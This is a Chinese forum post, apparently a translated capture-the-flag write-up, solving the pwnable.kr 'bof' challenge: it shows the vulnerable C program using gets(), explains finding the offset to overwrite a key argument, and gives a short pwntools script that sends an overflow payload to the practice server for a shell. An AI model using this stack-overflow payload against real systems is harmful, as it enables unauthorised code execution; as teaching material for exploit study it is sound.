首页
社区
课程
招聘
[翻译]第三部分:缓冲区溢出【Pwnable.kr ->bof】
2019-5-25 16:21 6603

[翻译]第三部分:缓冲区溢出【Pwnable.kr ->bof】

2019-5-25 16:21
6603

第三部分:缓冲区溢出【Pwnable.kr -> bof】


      大家好,这篇是通过 pwnables(Yaaaaay)恢复Linux漏洞利用开发系列的一次尝试!在第一篇中,我们将看到 pawnable.kr 的 BOF 挑战。这是一个简单的32位Linux上的缓冲区溢出,让我们直接进入主题把!

展开新的挑战


       对于这个挑战,我们将在下面展示源代码“bof.c”
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}
       该程序输入一个参数 key 调用函数 func,key 为 0xdeadbeef。然后检查键参数 key 是否为 0xcafebabe(显然这种情况永远不会发生),如果是,它会提供给用户一个利用 shell 的机会,否则,它会打印 "Nah.." 并退出。下面显示了相同的逻辑:

         

        在这里将会提供一个简单的方案。分配缓冲区输入长度为32字节,但为用户提供的输入没有长度限制。如果我们溢出缓冲区,那么我们就可以在内存中手动替换 0xdeadbeef和0xcafebabe。当我们将大量输入发送到缓冲区中时,快速查看程序是否有按预期的那样奔溃。

         

Pwn 过程

        
       我们可以适当地在内存中向 0xcafebabe 进行大量输入,并且预期会出现我们想要地结果(在本例中的确出现了这种情况)。使用 pattern create,这样我们就可以在输入缓冲区中找到键变量的精确偏移。
          
       
        
        请注意,我们在比较时设置了一个断点。一旦到达断点,我们就能通过 EBP + 8 处地内容计算出偏移量。
      
         

游戏结束

     
         关键变量的起始位置是 53+ 字符。这样我们就可以使用 pwntools 快速制作 POC.

from pwn import *
 
r = remote('pwnable.kr', 9000)
buff = ("\x41"*52) + "\xbe\xba\xfe\xca"
 
r.send(buff)
r.interactive()
     
        当我们在服务器上触发它时,通过检查键值就可以得到我们想要的 shell。

        



[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2019-5-27 09:18 被Liary编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回